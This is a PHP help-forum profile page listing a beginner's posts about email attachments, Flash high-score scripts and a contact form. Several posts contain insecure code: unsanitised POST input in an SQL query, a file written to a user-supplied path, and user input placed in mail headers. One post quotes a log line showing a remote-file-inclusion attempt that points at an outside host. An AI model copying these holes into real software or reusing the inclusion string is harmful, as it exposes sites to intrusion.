Jump to content

martinjamesroberts

Members
  • Posts

    20
  • Joined

  • Last visited

Everything posted by martinjamesroberts

  1. Interested to find out why this code doesn't seem to properly send the attachment.. it's driving my insane ? <?php //define the receiver of the email $to = 'youraddress@example.com'; //define the subject of the email $subject = 'Test email with attachment'; //create a boundary string. It must be unique //so we use the MD5 algorithm to generate a random hash $random_hash = md5(date('r', time())); //define the headers we want passed. Note that they are separated with \r\n $headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com"; //add boundary string and mime type specification $headers .= "\r\nContent-Type: multipart/mixed; boundary=\"PHP-mixed-".$random_hash."\""; //read the atachment file contents into a string, //encode it with MIME base64, //and split it into smaller chunks $attachment = chunk_split(base64_encode(file_get_contents('attachment.zip'))); //define the body of the message. ob_start(); //Turn on output buffering ?> --PHP-mixed-<?php echo $random_hash; ?> Content-Type: multipart/alternative; boundary="PHP-alt-<?php echo $random_hash; ?>" --PHP-alt-<?php echo $random_hash; ?> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello World!!! This is simple text email message. --PHP-alt-<?php echo $random_hash; ?> Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit <h2>Hello World!</h2> <p>This is something with <b>HTML</b> formatting.</p> --PHP-alt-<?php echo $random_hash; ?>-- --PHP-mixed-<?php echo $random_hash; ?> Content-Type: application/zip; name="attachment.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment <?php echo $attachment; ?> --PHP-mixed-<?php echo $random_hash; ?>-- <?php //copy current buffer contents into $message variable and delete current output buffer $message = ob_get_clean(); //send the email $mail_sent = @mail( $to, $subject, $message, $headers ); //if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" echo $mail_sent ? "Mail sent" : "Mail failed"; ?>
  2. <?php $pseudo=$_POST['var1']; $score=$_POST['var2']; $table = $_POST['tab']; $dategame = $_POST['tempjoueur']; $query = "UPDATE entries SET score=`$score` WHERE name=$pseudo"; mysql_query($query); $_COOKIE['User'] = $_SERVER['REMOTE_ADDR']; $envoie = InsertDatas($table, "name, score, dategame", "'".$pseudo."','".$score."','".$dategame."'"); if ($envoie) { print_r("OK, $pseudo, $score, $dategame,$ipclient"); } else { echo "BAD, $pseudo, $score, $dategame,$ipclient"; } ?>
  3. Thanks, how do I do that ? Is it like actionscript and I just run $query or do I have to feed it variables ?
  4. Yes like this ? $query = "UPDATE entries SET entry_name=`$entry` WHERE name=$pseudo"; Thing is, I know next to nothing about php, how do I call $query ? or can I put it into $envoie ?
  5. Hello there, I have some code here which sends a number of variables from flash to SQL... I would simply like to add the functionality to overwrite records which have the same 'name' or 'pseudo'... can anyone help me please ? Thanks in advance Martin <?php $pseudo=$_POST['var1']; $score=$_POST['var2']; $table = $_POST['tab']; $dategame = $_POST['tempjoueur']; //$micro = microtime(); //$dategame = time()."".substr($micro, 2, 6); $_COOKIE['User'] = $_SERVER['REMOTE_ADDR']; $envoie = InsertDatas($table, "name, score, dategame", "'".$pseudo."','".$score."','".$dategame."'"); if ($envoie) { print_r("OK, $pseudo, $score, $dategame,$ipclient"); } else { echo "BAD, $pseudo, $score, $dategame,$ipclient"; } ?>
  6. I have the following php file, I need to send an email with an attachment when I call this script from flash, I've put below the actionscript I am using alongside.. can anyone help PLEASE ! Thanks in advance. <?PHP $to = 'myEmail addresss'; $subject = 'Validation'; $bound_text = "jimmyP123"; $bound = "--".$bound_text."\r\n"; $bound_last = "--".$bound_text."--\r\n"; $headers = "From: myEmailAddress\r\n"; $headers .= "MIME-Version: 1.0\r\n" ."Content-Type: multipart/mixed; boundary=\"$bound_text\""; $message .= "If you can see this MIME than your client doesn't accept MIME types!\r\n" .$bound; $message .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n" ."Content-Transfer-Encoding: 7bit\r\n\r\n" ."Et ben ! <b>regarde</b> un autre était créé\r\n" .$bound; $file = file_get_contents("snapshot1296548104559.jpg"); $message .= "Content-Type: image/jpg; name=\"snapshot1296548104559.jpg\"\r\n" ."Content-Transfer-Encoding: base64\r\n" ."Content-disposition: attachment; file=\"snapshot1296548104559.jpg\"\r\n" ."\r\n" .chunk_split(base64_encode($file)) .$bound_last; if(mail($to, $subject, $message, $headers)) { echo 'MAIL SENT'; } else { echo 'MAIL FAILED'; } ?> Here is the actionscript :- var myLoader:URLLoader = new URLLoader(); var req:URLRequest = new URLRequest('sendMail.php'); myLoader.load(req);
  7. Hi there, This looks fine, do I just copy it into a new PHP file and then #include into my original and use addTimeStamp after the filename ? How would I use this with my code.. I'm good on actionscript but not super hot on php ! Thanks for your response
  8. Hello there, I'm very new to PHP and I need some help (please!) Basically I'm writing an actionscript application and I am using a php file to save an image to the server, the problem is I define a name in actionscript before I send the information to the php and it continuously saves over the same file.. Ideally I would like to attach the (jpg) image to an email, send the mail and delete the image ready for a new image to be created.. is this possible ? At least, I would like to add a +1 to each filename to stop the file being saved over continuously ! Thanks in advance for any help <?php $fileName = $_GET['filename']; $fp = fopen( $fileName, 'wb' ); fwrite( $fp, $GLOBALS['HTTP_RAW_POST_DATA'] ); fclose( $fp ); ?>
  9. I'll change this first thing tomorrow.. I'm sure it'll be fine, seems simple enough.. I'll remember to mark it solved once I've verified. Many Thanks for your help.
  10. Hello, I have what I hope to be a very simple question.. I have built a game in flash and for my high score table I simply want to request the high scores in reverse.. i.e the lowest score first.. here is my php.. please help, thanks in advance !! :- <?php include("sqldialog.php"); $table = $_POST['tab']; $recept = SelectDatas($table, "name, score, dategame", "id > 0", "score desc"); if ($recept) { $i = 0; foreach ($recept as $rec) { $i++; if ($i==1) { $result .= "pseudo$i=".$rec['name']."&score$i=".$rec['score']."&dategame$i=".$rec['dategame']; } else { $result .= "&pseudo$i=".$rec['name']."&score$i=".$rec['score']."&dategame$i=".$rec['dategame']; } } echo $result; } else { echo "BAD, $pseudo, $score, $dategame,$ipclient"; } ?>
  11. Would it not be better to put a redirect script in the top of the index.php?
  12. Hello, I do really appreciate you helping me, but the script will not send unless I use the original.. could there be a syntax error somewhere.. I'm sorry I really am a newb and coulc not tell if there was..
  13. Yup, i tried, nothing has shown up on the page.. it just performs the usual operation but doesn't send
  14. I used the file containing the debug information but the email did not send. When I switched it back it did.. I have an SMTP server set-up with only itself allowed to send emails, maybe the exploit is directly from the index.php page and not the form script (feedback.php)? (Please note the index.php file doesn't contain code, it just contains the flash document which passes the variables to the script) I'm sorry I know this is a pain! Argh!
  15. Also the script is in an external file, feedback.php. I only named the index file with the suffix .php as the flash movie contained within had a php script, is this necessary?
  16. Hi there, thanks for your reply I take it I save this as my new script and post a message?
  17. Here is the contents of my script... <? // initialize variables for To and Subject fields $to = 'me@myemail.com'; $subject = 'Enquiry'; // build message body from variables received in the POST array $message = 'From: '.$_POST['firstname']."\n\n"; $message .= 'Email: '.$_POST['email']."\n\n"; $message .= 'Enquiry: '.$_POST['enquiry']."\n\n"; // add additional email headers for more user-friendly reply $additionalHeaders = "From: Martin<me@myemail.com>\n"; $additionalHeaders .= "Reply-To:$_POST"; //send email message $OK = mail($to, $subject, $message, $additionalHeaders); ?> Thanks again..
  18. Hello On my index page I have a contact form made in flash with a simple script file to send me the comments... I also have this guy who is trying to exploit my site for some reason.. Please, please, please can someone tell me how I can add code to my PHP script that will look for invalid parameters and redirect him off somewhere else...? My log shows what is below:- 209.3.11.34 - - [20/May/2008:02:22:02 +0200] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[itemid]=1&GLOBALS=&mosConfig_absolute_path=http://82.127.69.88/dotProject/files/1.gif?/ HTTP/1.1" 200 4008 Many Thanks Martin
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.